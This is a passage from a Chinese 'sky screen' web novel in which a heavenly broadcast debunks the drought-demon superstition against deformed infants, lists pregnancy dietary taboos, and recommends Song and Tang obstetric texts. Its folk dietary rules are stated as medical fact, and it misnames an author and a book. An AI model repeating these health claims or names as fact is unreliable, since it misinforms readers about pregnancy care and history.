“女方家里之前种了不少芝麻，一听天幕说芝麻有益，那些有钱人还不抢着买？听说卖了不少钱，连明年的都被预定了，家里都忙不过来。女的回家还能帮忙赚点钱。” “再说，女的现在才十六岁，天幕不是说女子怀孕的理想年龄是二十多岁吗？她才十六，再嫁也不难。何况她本身长得好看，还有一手绣花的好手艺，当初要不是觉得男方家里亲近，本可以嫁得更好，说不定二嫁还能找个有钱人家。” 【提及畸形儿，不得不回顾古代一项恶俗——“打旱魃”。古人深信，旱魃是引发旱灾的神秘怪物或鬼神，其现身被视为导致天下大旱的根源。唯有将旱魃击毙、焚烧或淋浇，方能促使天降甘霖，解除旱患。然而，现实中，到了后面的朝代旱魃往往不过是人们少见多怪的畸形人。民间因此流传诸多关于旱魃的传说，其中之一便是妇人诞下旱魃。】 【《宋史·五行志一》记载，建隆三年，“齐州、晋州大早，民家多生魆。”宋代朱残《萍洲可谈》卷三记载：“世传妇人有产鬼形者，不能执而杀之，则飞去，夜复归就乳，多瘁其母，俗呼为‘旱魆’。”《元史·五行志二》也记载，至元二年四月，“黄州黄冈县周氏妇产一男即死，狗头人身，咸以为旱魆云。”记载妇人生魃，实则乃为应对旱魃寻找的借口。】 【每逢旱灾之际，人们首先考虑的是如何摆脱旱患，于是将打旱魃视为一种寻求心理慰藉的自我救赎手段。在此特殊时期，若有妇人诞下畸形婴儿，无论是妇人本身还是婴儿，皆难以逃脱不幸的命运。其实关于妇人产魆说，明朝人李维桢在《旱魆解》就曾斥责过：“早魆，神鬼之属，不产于人，今女（女魆）乃人产，不合也。”】 【其实，若以现代科学的方法来解释，妇人产下怪胎是有可能的，但至于能产下止雨的魆，则纯属无稽之谈。例如，怀孕期间若处于含有重金属、化学物质或放射性物质的环境中，如铅、水银、夜明珠等；或是怀孕期间服用了某些民间流行的保胎药，此时务必先让医生进行评估；再者，若孕妇患有某些疾病，也可能感染到胎儿。此外，之前提到的表兄妹结婚及未提及的近亲结婚，均有可能导致畸形儿的出生。】 这下很多妇人放下心来，虽然自己没生下畸形儿，但是万一呢，要是出现旱灾，平时就有仇的人趁机诬告说自己生的是畸形儿怎么办？天幕一说了，以后要是还有人说畸形儿和旱灾有关就是在骗人，所有人都应该唾弃他。 而平时只知道关心儿 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【相应的饮食禁忌也有很多，（1）忌寒凉：偏寒凉的食物不利于安胎。例如白萝卜、香菇、薏米等等，这些寒凉的食物，孕妇都要避免食用。（2)忌吃活血化瘀的食材：一定要坚决忌吃活血化瘀的食材，例如山楂,不利于安胎,如果过多食用甚至可能会导致流产。(3)忌辛辣：过于辛辣的食品，例如姜、辣椒等等,怀孕的女性不宜吃过于辛辣的食物。(4)忌酒：酒会影响胎儿的生长发育，并可能造成胎儿畸形或智力障碍。】 【(5)忌食生肉类食物：在孕妇初期，生肉类食物要尽量避免食用。生肉中可能存在各种细菌和寄生虫，对孕妇和胎儿的健康都有一定的风险。谈到最后，特别推荐两位名医。首先是南宋时期的陈子明，他编撰了《妇人良方大全》，这是中国现存最早且系统性的妇产科专著。】 【该书分为调经、众疾、求嗣、胎教、妊娠、坐月、产难、产后八门，共计24卷、266论、1118方和48例医案。此外，唐代药王孙思邈所著的《千金药方》中也有关于孕妇养胎的详细记载。有兴趣的朋友们不妨一读。】 家里有孕妇的，赶紧让一部分人把上面说的注意事项记下来，再去吩咐一部分人去买去找这两个人写的医书。没有孕妇的也努力去找，毕竟现在没有，不代表以后没有。商人也开始收录这两个人的医书，要是能找到能卖一大笔钱呢。 南宋时期，致力于编纂医书的陈子明，虽因为天幕上的赞誉之声而开心，但他明白那些注意事项更为关键，于是决心进一步完善自己的医书。然而，此前他鲜有机会接触到前朝大夫的医书，更不知晓唐朝孙思邈的《千金药方》中竟也载有关于孕妇养胎的方法。此次天幕提及，若有人手头持有该书，不妨加以研习。周围熟知他的人都为之欣喜，家中孕妇若有疑难，终能求得良医相助。 孙思邈也没想到，后世竟也有名医专注于孕妇的研究，遗憾自己未能亲眼目睹。然而，仅凭天幕简略的描述，便不难看出这位大夫的研究不仅深入，且更为全面。自己仅关注怀孕期间的饮食、居所、情志以及动静结合，而他甚至涵盖了坐月和产后护理，实在令人钦佩。 不同朝代的皇帝一听到夜明珠竟然对身体不好，立即下令今后怀孕的女子身边不得放置夜明珠，自己也远离夜明珠，并命太医深入研究怀孕的注意事项，并决定以后招录些女医，没办法家里的确有皇位要继承。宋朝得知此事后，已迁出的皇帝顿时松了一口气，而尚在搬迁中的皇帝则急忙先将孕妇送出，只因子嗣稀少，皇位难以稳固。